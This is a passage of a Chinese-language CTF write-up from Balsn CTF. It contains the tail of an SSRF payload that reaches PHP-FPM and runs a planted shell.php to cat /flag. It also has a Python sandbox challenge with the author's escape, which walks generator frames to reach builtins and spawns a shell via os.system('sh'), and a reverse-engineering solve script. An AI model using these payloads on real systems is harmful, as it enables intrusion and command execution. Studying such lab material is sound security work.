AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA|fcgi://php:9000/tmp/tmp/pear/download/shell.php/?cmd=cat%20/flag' -v

Flag: BALSN{e4Sy_4pAcHy_5SrF}

Misc

metaeasy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
class MasterMetaClass(type):   
def __new__(cls, class_name, class_parents, class_attr):
def getFlag(self):
print('Here you go, my master')
with open('flag') as f:
print(f.read())
class_attr[getFlag.__name__] = getFlag
attrs = ((name, value) for name, value in class_attr.items() if not name.startswith('__'))
class_attr = dict(('IWant'+name.upper()+'Plz', value) for name, value in attrs)
newclass = super().__new__(cls, class_name, class_parents, class_attr)
return newclass
def __init__(*argv):
print('Bad guy! No Flag !!')
raise 'Illegal'

class BalsnMetaClass(type):
def getFlag(self):
print('You\'re not Master! No Flag !!')

def __new__(cls, class_name, class_parents, class_attr):
newclass = super().__new__(cls, class_name, class_parents, class_attr)
setattr(newclass, cls.getFlag.__name__, cls.getFlag)
return newclass

def secure_vars(s):
attrs = {name:value for name, value in vars(s).items() if not name.startswith('__')}
return attrs

safe_dict = {
'BalsnMetaClass' : BalsnMetaClass,
'MasterMetaClass' : MasterMetaClass,
'False' : False,
'True' : True,
'abs' : abs,
'all' : all,
'any' : any,
'ascii' : ascii,
'bin' : bin,
'bool' : bool,
'bytearray' : bytearray,
'bytes' : bytes,
'chr' : chr,
'complex' : complex,
'dict' : dict,
'dir' : dir,
'divmod' : divmod,
'enumerate' : enumerate,
'filter' : filter,
'float' : float,
'format' : format,
'hash' : hash,
'help' : help,
'hex' : hex,
'id' : id,
'int' : int,
'iter' : iter,
'len' : len,
'list' : list,
'map' : map,
'max' : max,
'min' : min,
'next' : next,
'oct' : oct,
'ord' : ord,
'pow' : pow,
'print' : print,
'range' : range,
'reversed' : reversed,
'round' : round,
'set' : set,
'slice' : slice,
'sorted' : sorted,
'str' : str,
'sum' : sum,
'tuple' : tuple,
'type' : type,
'vars' : secure_vars,
'zip' : zip,
'__builtins__':None
}

def createMethod(code):
if len(code) > 45:
print('Too long!! Bad Guy!!')
return
for x in ' _$#@~':
code = code.replace(x,'')
def wrapper(self):
exec(code, safe_dict, {'self' : self})
return wrapper

def setName(pattern):
while True:
name = input(f'Give me your {pattern} name :')
if (name.isalpha()):
break
else:
print('Illegal Name...')
return name

def setAttribute(cls):
attrName = setName('attribute')
while True:
attrValue = input(f'Give me your value:')
if (attrValue.isalnum()):
break
else:
print('Illegal value...')
setattr(cls, attrName, attrValue)

def setMethod(cls):
methodName = setName('method')
code = input(f'Give me your function:')
func = createMethod(code)
setattr(cls, methodName, func)

def getAttribute(obj):
attrs = [attr for attr in dir(obj) if not callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the attribute\'s name :')
if x not in attrs:
print(f'You can\'t access the attribute {x}')
return
else:
try:
print(f'{x}: {getattr(obj, x)}')
except:
print("Something went wrong in your attribute...")
return

def callMethod(cls, obj):
attrs = [attr for attr in dir(obj) if callable(getattr(obj, attr)) and not attr.startswith("__")]
x = input('Please enter the method\'s name :')
if x not in attrs:
print(f'You can\'t access the method {x}')
return
else:
try:
print(f'calling method {x}...')
cls.__dict__[x](obj)
print('done')
except:
print('Something went wrong in your method...')
return

class Guest(metaclass = BalsnMetaClass):
pass

if __name__ == '__main__':
print(f'Welcome!!We have prepared a class named "Guest" for you')
cnt = 0
while cnt < 3:
cnt += 1
print('1. Add attribute')
print('2. Add method')
print('3. Finish')
x = input("Option ? :")
if x == "1":
setAttribute(Guest)
elif x == "2":
setMethod(Guest)
elif x == "3":
break
else:
print("invalid input.")
cnt -= 1
print("Well Done! We Create an instance for you !")
obj = Guest()
cnt = 0
while cnt < 3:
cnt += 1
print('1. Inspect attribute')
print('2. Using method')
print('3. Exit')
x = input("Option ? :")
if x == "1":
getAttribute(obj)
elif x == "2":
callMethod(Guest, obj)
elif x == "3":
print("Okay...exit...")
break
else:
print("invalid input.")
cnt -= 1

這題 code 有點多,簡單來說它可以讓你定義三個 attribute 或是 method,然後讓你呼叫或是檢視 attribute 或是 method。目標是要想辦法呼叫到 getFlag 函數。

我這題不是用 intended 解的所以比較快的樣子,有 firstblood。

反正它 createMethod 的地方只要求長度為 45 以下,然後 _$#@~ 的字元都會被 replace 掉。_ 直接全形字元 _ 繞過,然後空白用 \t 繞過就差不多了。所以之後就用 generator 湊個 gi_frame.f_back.f_back.f_builtins 這樣接一接就有 builtins,然後直接拿 shell 結束。

解法:

  1. create method a with self.g=(x.g.gi_frame.f_back for x in [self])
  2. create method b with self.b=next(self.g).f_back.f_builtins
  3. create method c with self.b[list(self.b)[6]]('os').system('sh')
  4. call method a
  5. call method b
  6. call method c
  7. cat flag

Intended 的話可以看別人的 wp,例如這篇

Rev

The g++ VM 1

這題有個沒 stripped 的 C++ ELF,在 ida 打開可以知道它是會讀入 36 字元的 flag 的 flag checker。字元限制在這個 charset 裡面: mgzreab_fw{p}dqlnxstvjyohiuck

reverse 的部份主要都是 🎃 在弄的,簡單來說 main 就是讀 6 個字元為一組放到 global 的 P,J,K,L,M,N 幾個變數去,然後會呼叫一個 table(i / 6) 函數。table(x) 裡面會先把六個字元 encode 成一個數字 S,之後根據 x0~5 的不同進入不同的函數利用 S 去計算一些東西,最後回傳答案到 main 和一些 magic number 比較。

這題的一大難點是它 table 裡面的函數名稱都長到不行,明顯是 C++ template 濫用到極致的程度,用 ghidra 打開時它還會因為 demangle 而 memory 爆炸...。光 table 裡面第一個把字元轉換成 S 的函數的名稱用 c++filt 展開就有 10MB。

總之 🎃 手動把 encode 的函數和 table(0) 給逆了出來。encode 的方法大致可表示如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def encode(s):
P, J, K, L, M, N = s
J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05

J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05

J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05

J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05

J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05

S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
return S

其中的 % 運算是 C 的 modulo, -1 % 3 = -1,所以 (((J - 0x61) % 0x1A + 0x1A) % 0x1A) 的運算其實在 python 中就只是 (J - 0x61) % 0x1A。另外是可以注意到 0x1A ** 2 == 0x2A4, 0x1A ** 3 == 0x44A8,所以這個的 encode 方法可以這樣表示:

其中 等等的都是小於 的正整數,所以它 % 0x1D188D05 實際上毫無影響,所以就把 S 轉換為 進制就能得到 encode 前的字串:

1
2
3
4
def decode(s):
ss = list(s.digits(0x1A))
ss += [0] * (6 - len(ss))
return bytes(x + 0x61 for x in ss)

table(0) 的函數裡面也是好多層,相當複雜,不過大致上就是計算 的運算,其中 很容易取得,但 需要自己 reverse 出來才能得到。

其他的 table(x) 函數也是做差不多的事,而他們的 雖然都不同,但是都是質數。這邊我是想說 都很小,不到 30 bits 而已。找他們乘法群的生成元出來,然後進 gdb 下斷點改 的值並觀察 的輸出,然後計算 dlog 就能求出

之後就拿那些 magic number 開 方根,這邊就差不多和 single prime RSA 一樣,很容易解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
def encode(s):
P, J, K, L, M, N = s
J = ((((J - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x1A) % 0x1D188D05
P = (((P - 0x61) % 0x1A + 0x1A) % 0x1A) % 0x1D188D05

J = (P % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
K = ((((K - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x2A4) % 0x1D188D05

J = (K % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
L = ((((L - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x44A8) % 0x1D188D05

J = (L % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
M = ((((M - 0x61) % 0x1A + 0x1A) % 0x1A) * 0x6F910) % 0x1D188D05

J = (M % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
N = ((((N - 0x61) % 0x1A + 0x1A) % 0x1A) * 0xB54BA0) % 0x1D188D05

S = (N % 0x1D188D05 + J % 0x1D188D05) % 0x1D188D05
return S


def decode(s):
ss = list(s.digits(0x1A))
ss += [0] * (6 - len(ss))
return bytes(x + 0x61 for x in ss)


cs = [316196015, 183449189, 325026406, 93125040, 247649200, 358564396]
ps = [521206709, 280983943, 481821731, 446513681, 295950349, 519344851]
es = [398527879, 12904111, 229804014, 379903019, 116437633, 461497417]

for p, e, c in zip(ps, es, cs):
F = GF(p)
print(decode(ZZ(F(c).nth_root(e))).decode(), end="")

# balsnatheyymagicyycpplusyytemplateyc

Flag: balsn{the__magic__cpplus__template_}